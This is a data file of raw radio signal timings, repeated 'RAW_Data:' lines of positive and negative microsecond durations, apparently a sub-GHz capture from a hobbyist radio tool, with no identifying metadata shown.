-104 357 -108 141 -362 319 -142 357 -106 335 -124 107 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 -RAW_Data: 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -360 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 95 -368 139 -334 369 -106 337 -130 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3692 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 333 -126 95 -370 139 -336 367 -106 337 -130 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 137 -332 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3716 99 -362 125 -338 129 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -346 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -356 141 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -108 337 -128 131 -3718 99 -362 125 -358 103 -394 319 -140 355 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3746 99 -362 125 -338 129 -372 345 -96 359 -124 337 -126 339 -128 337 -128 127 -342 355 -140 335 -126 351 -94 121 -372 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 365 -106 337 -128 97 -3726 133 -358 93 -390 103 -356 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 141 -334 367 -106 337 -130 131 -3718 99 -380 -RAW_Data: 103 -360 105 -370 347 -106 371 -98 361 -92 391 -104 357 -108 105 -398 321 -104 355 -142 331 -124 109 -374 99 -360 125 -360 327 -122 123 -356 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3750 99 -362 123 -360 101 -394 319 -142 355 -108 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 329 -122 121 -358 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3746 97 -350 127 -372 95 -372 347 -124 351 -124 337 -130 337 -128 339 -126 93 -384 351 -102 367 -94 375 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 123 -340 129 -372 313 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 351 -92 123 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 359 -106 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -336 367 -106 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -370 139 -336 365 -108 337 -128 131 -3718 99 -362 125 -360 101 -394 319 -142 355 -106 335 -122 361 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 121 -356 139 -336 371 -106 339 -130 131 -348 91 -382 353 -106 351 -140 105 -3730 97 -382 103 -360 105 -370 345 -106 373 -98 359 -94 367 -128 339 -128 95 -366 367 -108 337 -130 355 -92 121 -376 139 -332 125 -356 349 -140 105 -364 103 -370 343 -108 339 -130 131 -348 141 -334 365 -106 337 -128 97 -3726 133 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 333 -124 109 -374 97 -364 123 -360 327 -124 141 -344 135 -332 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3692 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 361 -104 357 -108 105 -396 319 -140 355 -108 333 -126 107 -376 99 -362 123 -360 327 -124 139 -342 137 -334 353 -138 335 -126 97 -370 139 -334 367 -106 337 -130 97 -3750 99 -364 93 -390 103 -394 319 -140 321 -142 333 -124 361 -104 -RAW_Data: 357 -108 141 -362 317 -140 357 -106 335 -124 107 -378 97 -362 125 -358 329 -122 141 -342 135 -334 353 -140 333 -128 95 -370 141 -332 367 -106 337 -130 97 -3760 97 -384 101 -360 105 -370 347 -106 339 -132 355 -94 391 -104 357 -108 105 -396 321 -140 317 -140 333 -124 109 -374 99 -360 125 -360 325 -124 123 -358 139 -334 371 -106 337 -130 131 -348 105 -368 365 -106 337 -130 97 -3752 99 -360 93 -392 101 -394 321 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -140 357 -106 335 -122 109 -376 97 -362 125 -358 329 -122 141 -342 137 -332 353 -140 335 -128 95 -370 139 -334 367 -106 339 -128 99 -3726 131 -358 93 -392 101 -356 359 -106 353 -142 331 -124 359 -104 359 -106 105 -398 319 -140 357 -106 335 -124 109 -374 97 -362 125 -360 327 -122 143 -340 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3718 99 -348 127 -372 95 -372 347 -124 349 -124 339 -128 337 -128 337 -128 93 -386 349 -104 335 -124 375 -94 123 -372 101 -368 125 -354 351 -138 105 -362 105 -370 343 -106 339 -130 133 -348 105 -368 365 -106 337 -130 97 -3752 99 -362 93 -390 101 -358 357 -142 319 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -364 123 -360 101 -394 321 -140 321 -142 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 123 -356 139 -336 369 -106 339 -130 131 -346 105 -370 363 -108 337 -128 99 -3756 97 -384 103 -360 103 -370 345 -108 339 -130 355 -94 391 -104 357 -108 105 -396 321 -140 319 -142 331 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3756 99 -384 101 -360 105 -370 345 -108 339 -130 355 -94 391 -104 357 -108 105 -398 319 -140 319 -140 333 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 125 -338 129 -340 347 -126 357 -124 337 -128 337 -128 339 -126 127 -346 355 -140 333 -126 349 -94 121 -374 101 -368 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3752 99 -362 93 -390 103 -392 321 -142 319 -142 333 -124 359 -104 359 -106 107 -396 319 -140 357 -106 335 -124 107 -378 -RAW_Data: 97 -362 123 -360 327 -122 141 -342 137 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 97 -3750 99 -362 125 -338 127 -372 347 -94 361 -124 337 -128 337 -128 339 -126 127 -344 355 -140 335 -128 349 -92 123 -372 101 -370 125 -354 349 -140 105 -362 105 -368 343 -106 339 -130 133 -350 105 -368 365 -108 335 -130 97 -3754 99 -360 93 -392 101 -358 357 -106 353 -140 333 -124 361 -104 357 -108 105 -398 319 -140 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3756 99 -384 101 -360 105 -370 347 -106 339 -130 357 -94 391 -104 357 -106 107 -396 319 -142 317 -140 333 -124 109 -374 97 -364 123 -360 327 -122 123 -358 139 -334 371 -108 337 -130 97 -382 93 -382 353 -104 349 -140 103 -3740 99 -350 137 -360 105 -338 375 -106 339 -130 355 -94 369 -130 337 -128 95 -368 365 -108 337 -128 355 -124 91 -374 103 -368 125 -356 349 -140 105 -362 105 -368 343 -106 339 -130 133 -350 105 -368 365 -108 337 -128 97 -3728 131 -360 93 -392 101 -356 359 -106 349 -140 333 -122 361 -104 357 -108 139 -362 317 -140 357 -108 335 -124 107 -376 99 -362 123 -360 327 -122 141 -342 135 -336 353 -138 335 -126 97 -382 93 -380 353 -104 349 -138 105 -3736 99 -348 137 -360 105 -368 347 -106 339 -130 357 -94 369 -128 339 -128 93 -368 367 -106 337 -130 357 -92 121 -376 101 -368 125 -356 349 -140 105 -362 105 -368 343 -106 337 -132 133 -350 105 -368 365 -106 339 -128 97 -3752 99 -382 103 -360 105 -370 347 -106 339 -132 357 -124 359 -104 357 -108 105 -396 319 -140 321 -140 333 -124 109 -376 97 -362 123 -358 327 -124 139 -342 137 -334 353 -140 333 -128 95 -374 139 -334 365 -108 337 -128 99 -3756 99 -360 125 -360 101 -358 357 -140 319 -140 333 -124 361 -104 357 -108 105 -396 317 -140 357 -108 333 -126 107 -376 99 -362 123 -360 327 -124 139 -342 137 -334 353 -138 335 -126 97 -382 93 -380 353 -104 347 -140 105 -3736 99 -348 137 -360 105 -370 343 -108 337 -132 355 -94 369 -128 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -336 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 141 -334 365 -108 337 -128 97 -3748 99 -362 125 -338 127 -372 347 -94 359 -124 337 -128 337 -128 339 -128 125 -342 357 -140 335 -128 349 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 -RAW_Data: 339 -130 133 -348 139 -336 363 -108 337 -128 97 -3724 133 -358 93 -392 101 -358 359 -104 353 -140 333 -124 359 -104 357 -108 105 -396 317 -140 357 -108 335 -124 107 -376 99 -362 125 -358 327 -124 141 -340 135 -336 353 -140 333 -126 97 -370 139 -334 367 -106 337 -130 99 -3762 97 -352 135 -360 105 -336 377 -106 339 -130 355 -94 391 -104 357 -106 105 -398 317 -140 319 -142 333 -124 109 -376 97 -362 125 -358 327 -124 123 -358 139 -336 369 -106 337 -128 133 -346 105 -368 365 -106 337 -130 97 -3756 97 -382 103 -360 103 -370 347 -106 339 -132 359 -124 359 -104 359 -106 105 -396 319 -140 355 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 337 -130 97 -3750 99 -362 125 -360 101 -394 319 -142 321 -142 333 -124 359 -104 359 -106 105 -398 317 -140 357 -106 335 -124 109 -376 99 -362 123 -358 327 -122 125 -360 139 -334 369 -106 337 -130 133 -346 105 -368 367 -106 337 -128 99 -3754 97 -384 101 -360 105 -372 345 -106 339 -130 357 -94 391 -104 357 -108 105 -398 321 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -108 337 -130 131 -348 93 -380 353 -106 351 -140 105 -3734 99 -352 135 -360 105 -370 343 -108 337 -130 355 -124 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -138 105 -362 105 -368 343 -106 339 -132 133 -348 105 -370 363 -108 337 -128 97 -3752 99 -364 123 -360 101 -394 321 -140 319 -142 333 -124 359 -104 357 -108 141 -362 317 -142 357 -106 335 -124 109 -374 97 -364 123 -360 327 -122 141 -342 135 -334 353 -140 335 -126 95 -382 105 -370 345 -142 335 -100 135 -3698 131 -352 137 -360 105 -336 375 -106 339 -130 353 -126 337 -128 339 -128 93 -368 369 -106 337 -130 355 -124 89 -376 101 -368 127 -354 351 -138 105 -364 103 -368 343 -108 337 -132 133 -350 105 -368 365 -108 335 -130 97 -3748 99 -362 125 -360 101 -394 319 -140 323 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 109 -374 97 -362 125 -360 325 -124 123 -358 139 -334 371 -106 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3758 99 -360 91 -392 101 -358 357 -106 353 -140 333 -124 359 -104 357 -108 141 -362 317 -140 357 -108 333 -124 109 -376 97 -364 123 -360 327 -122 141 -342 135 -334 353 -140 335 -128 95 -370 139 -334 367 -106 339 -128 99 -3756 -RAW_Data: 99 -382 101 -360 105 -370 345 -106 341 -130 359 -92 391 -104 357 -108 105 -398 319 -140 319 -142 333 -122 109 -376 97 -362 125 -358 327 -124 141 -342 135 -334 353 -140 335 -126 95 -372 139 -334 367 -106 339 -128 99 -3750 99 -362 125 -360 101 -394 321 -140 321 -142 333 -122 361 -104 357 -108 141 -362 317 -140 357 -106 335 -124 109 -376 97 -362 125 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -368 365 -108 337 -128 97 -3748 99 -362 125 -338 129 -372 345 -130 325 -124 339 -128 337 -128 339 -128 125 -348 355 -138 333 -128 317 -158 91 -372 101 -368 93 -386 351 -138 105 -362 105 -368 343 -142 303 -130 133 -348 105 -370 331 -140 335 -130 97 -3754 97 -382 101 -360 105 -370 347 -106 373 -100 359 -124 337 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -130 131 -348 105 -368 365 -106 337 -130 97 -3758 99 -360 93 -390 103 -356 359 -106 353 -140 331 -124 361 -104 357 -108 141 -362 319 -140 355 -106 335 -124 107 -378 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3724 99 -384 101 -360 105 -370 345 -106 341 -130 355 -94 391 -104 357 -106 107 -396 319 -142 319 -140 333 -124 109 -376 97 -362 123 -360 329 -122 121 -358 139 -334 371 -108 337 -130 131 -346 105 -370 363 -108 337 -128 99 -3752 99 -380 103 -360 103 -372 349 -106 341 -130 357 -94 369 -128 337 -130 93 -368 367 -106 339 -130 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -368 365 -108 337 -128 97 -3756 99 -362 93 -390 101 -358 357 -106 355 -140 333 -124 359 -104 359 -106 107 -396 319 -142 357 -106 335 -124 107 -376 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 97 -368 141 -334 367 -106 339 -128 99 -3748 97 -384 93 -372 97 -372 345 -124 349 -126 337 -130 337 -128 339 -126 95 -384 351 -138 301 -154 315 -126 123 -372 101 -368 93 -384 351 -140 105 -362 103 -368 343 -142 303 -130 133 -348 105 -368 365 -106 337 -130 97 -3760 99 -358 93 -392 101 -394 319 -106 353 -140 333 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 329 -122 141 -342 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -380 103 -360 103 -372 349 -106 341 -132 357 -94 -RAW_Data: 369 -128 337 -128 95 -366 367 -106 339 -130 355 -124 91 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -108 337 -132 131 -348 105 -370 365 -106 337 -128 97 -3750 99 -362 123 -372 95 -372 345 -96 361 -122 337 -128 337 -130 337 -128 125 -344 355 -140 335 -128 349 -94 121 -374 103 -368 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3750 99 -362 125 -358 103 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 97 -384 101 -360 105 -370 345 -106 339 -132 357 -94 391 -104 357 -108 105 -398 319 -142 319 -142 335 -124 107 -374 97 -362 125 -360 325 -124 121 -358 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -362 93 -390 103 -392 321 -106 353 -142 331 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -332 353 -140 335 -126 97 -370 139 -334 367 -108 337 -130 129 -3726 99 -350 137 -360 105 -370 343 -106 339 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -140 333 -128 95 -368 141 -334 367 -108 337 -130 97 -3754 99 -362 93 -390 103 -394 319 -140 319 -142 333 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 125 -358 327 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 339 -128 99 -3756 99 -382 103 -360 105 -368 347 -106 339 -130 357 -94 389 -106 357 -108 105 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -336 369 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3750 99 -362 125 -338 127 -372 345 -96 361 -122 337 -128 337 -130 337 -128 125 -344 357 -140 333 -128 349 -94 121 -374 101 -370 123 -354 353 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3726 131 -360 93 -390 103 -356 359 -106 353 -140 331 -124 361 -104 357 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 141 -342 137 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3726 99 -360 93 -390 101 -394 321 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 -RAW_Data: 107 -376 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 97 -368 141 -334 367 -106 339 -128 131 -3726 99 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 353 -140 333 -128 95 -370 139 -334 367 -106 339 -130 97 -3750 99 -378 103 -360 103 -372 349 -140 339 -100 359 -94 367 -130 337 -128 93 -368 369 -106 337 -130 357 -124 89 -376 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 339 -128 97 -3754 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 333 -128 95 -370 139 -334 367 -108 337 -130 129 -3720 97 -364 123 -340 129 -372 345 -96 359 -124 337 -126 339 -128 337 -128 127 -344 357 -140 333 -128 347 -94 121 -374 101 -368 125 -354 353 -138 105 -362 105 -370 343 -106 339 -130 133 -348 105 -368 365 -106 337 -130 97 -3754 99 -362 93 -390 101 -358 357 -140 321 -140 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3716 99 -364 125 -358 103 -394 319 -140 359 -106 333 -124 361 -104 357 -108 141 -362 319 -140 357 -108 333 -124 109 -376 97 -362 123 -360 327 -122 123 -358 139 -336 369 -106 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3758 99 -362 93 -390 101 -358 357 -106 355 -140 333 -124 359 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3724 99 -382 103 -360 103 -370 347 -106 339 -130 357 -94 391 -104 359 -106 107 -396 321 -140 319 -142 331 -124 109 -374 99 -360 125 -360 327 -124 121 -358 139 -334 371 -106 337 -130 131 -348 105 -368 365 -106 337 -130 131 -3714 97 -384 93 -372 97 -372 345 -124 351 -124 339 -128 337 -128 337 -128 125 -350 351 -140 333 -92 377 -96 121 -374 101 -368 125 -352 353 -138 107 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -130 97 -3726 133 -358 93 -390 103 -394 319 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 -RAW_Data: 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3724 99 -360 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -126 107 -376 97 -362 123 -360 327 -124 141 -342 137 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 131 -3716 99 -362 125 -370 97 -370 347 -128 327 -124 337 -128 337 -130 337 -128 127 -376 323 -140 333 -126 319 -156 91 -374 101 -368 127 -354 351 -138 105 -362 103 -370 345 -140 303 -132 133 -348 105 -370 365 -106 337 -128 97 -3754 99 -362 93 -390 101 -394 319 -142 319 -142 335 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -372 139 -334 367 -106 339 -128 99 -3754 99 -362 93 -390 103 -394 319 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -344 135 -334 351 -140 335 -126 95 -372 139 -334 367 -106 339 -128 131 -3716 99 -364 125 -358 103 -392 319 -142 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 123 -340 127 -372 347 -94 361 -122 337 -128 339 -128 337 -128 125 -344 357 -140 335 -126 349 -94 121 -374 101 -370 125 -352 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 125 -358 103 -394 317 -142 357 -106 335 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 125 -360 327 -122 123 -356 139 -336 371 -106 337 -130 131 -346 107 -368 365 -108 337 -128 99 -3754 99 -360 93 -392 101 -394 319 -106 355 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 97 -368 141 -334 367 -106 339 -128 131 -3718 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 143 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -130 97 -3758 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 143 -362 319 -142 355 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -368 141 -334 367 -108 337 -128 -RAW_Data: 131 -3726 99 -360 93 -390 101 -394 321 -104 355 -140 333 -124 361 -104 357 -108 141 -344 347 -94 391 -104 357 -108 105 -350 125 -362 139 -334 367 -94 121 -372 95 -372 347 -124 351 -124 109 -374 97 -360 351 -140 333 -94 127 -3746 99 -380 103 -360 103 -372 347 -106 373 -98 359 -94 391 -104 357 -108 105 -398 319 -140 321 -142 333 -124 109 -374 97 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3694 131 -350 137 -360 105 -370 343 -106 339 -130 355 -94 389 -106 357 -108 105 -398 321 -106 353 -142 331 -124 109 -376 97 -360 125 -360 327 -122 143 -342 135 -334 353 -140 335 -126 95 -370 139 -334 369 -106 337 -130 131 -3724 99 -360 93 -390 103 -392 321 -140 319 -140 333 -124 361 -104 357 -108 141 -364 317 -142 357 -106 335 -124 107 -376 97 -364 123 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -370 139 -334 367 -106 339 -128 131 -3716 99 -352 125 -372 95 -372 347 -124 349 -126 337 -128 339 -128 337 -128 125 -352 351 -102 369 -92 375 -96 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3748 101 -364 123 -360 103 -394 319 -140 357 -106 335 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -334 371 -106 339 -128 133 -346 141 -334 365 -106 339 -128 97 -3758 99 -360 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 339 -128 131 -3716 101 -362 123 -360 103 -394 317 -142 357 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3756 99 -360 93 -392 101 -394 321 -106 351 -142 333 -122 361 -104 359 -106 143 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 351 -140 335 -126 95 -384 91 -380 353 -104 349 -140 105 -3736 97 -384 103 -360 103 -370 345 -108 337 -132 357 -92 369 -128 339 -128 93 -368 367 -106 339 -128 357 -124 89 -376 137 -334 125 -356 351 -140 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 99 -362 123 -372 95 -372 347 -94 361 -124 -RAW_Data: 337 -126 339 -128 337 -128 127 -342 355 -142 333 -128 349 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3752 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3750 99 -362 125 -338 127 -372 347 -96 359 -124 337 -128 337 -128 337 -128 127 -342 357 -140 333 -128 349 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 365 -106 339 -128 97 -3750 99 -362 123 -360 101 -394 319 -140 359 -106 335 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 121 -358 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3748 99 -382 93 -372 95 -372 347 -124 351 -124 337 -128 337 -130 337 -126 127 -350 351 -140 333 -92 377 -96 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -348 105 -370 365 -106 337 -130 97 -3756 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -344 135 -334 353 -138 335 -128 95 -370 141 -334 365 -108 337 -130 131 -3722 99 -384 101 -360 105 -370 345 -106 339 -132 357 -92 391 -104 359 -108 105 -398 319 -142 319 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3756 99 -362 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 337 -130 131 -3724 99 -346 127 -372 95 -374 347 -124 345 -94 391 -104 357 -108 337 -124 145 -340 347 -106 371 -100 359 -124 107 -374 97 -360 125 -338 349 -134 139 -360 105 -336 373 -106 339 -130 131 -348 93 -380 353 -104 351 -140 105 -3730 99 -380 101 -362 103 -372 347 -108 371 -100 361 -92 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -376 137 -334 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3752 99 -362 125 -340 127 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 -RAW_Data: 351 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3750 99 -364 123 -340 129 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 351 -94 121 -372 103 -368 125 -354 351 -140 105 -364 103 -370 343 -108 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3726 131 -360 93 -392 101 -394 321 -104 353 -140 333 -124 361 -104 357 -108 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 329 -122 141 -342 137 -334 351 -140 335 -128 95 -368 141 -334 367 -106 339 -128 131 -3724 99 -360 93 -392 101 -394 319 -142 319 -142 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 97 -370 139 -334 367 -108 337 -130 129 -3716 101 -364 123 -360 101 -396 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 327 -122 123 -358 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 99 -3748 101 -364 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -106 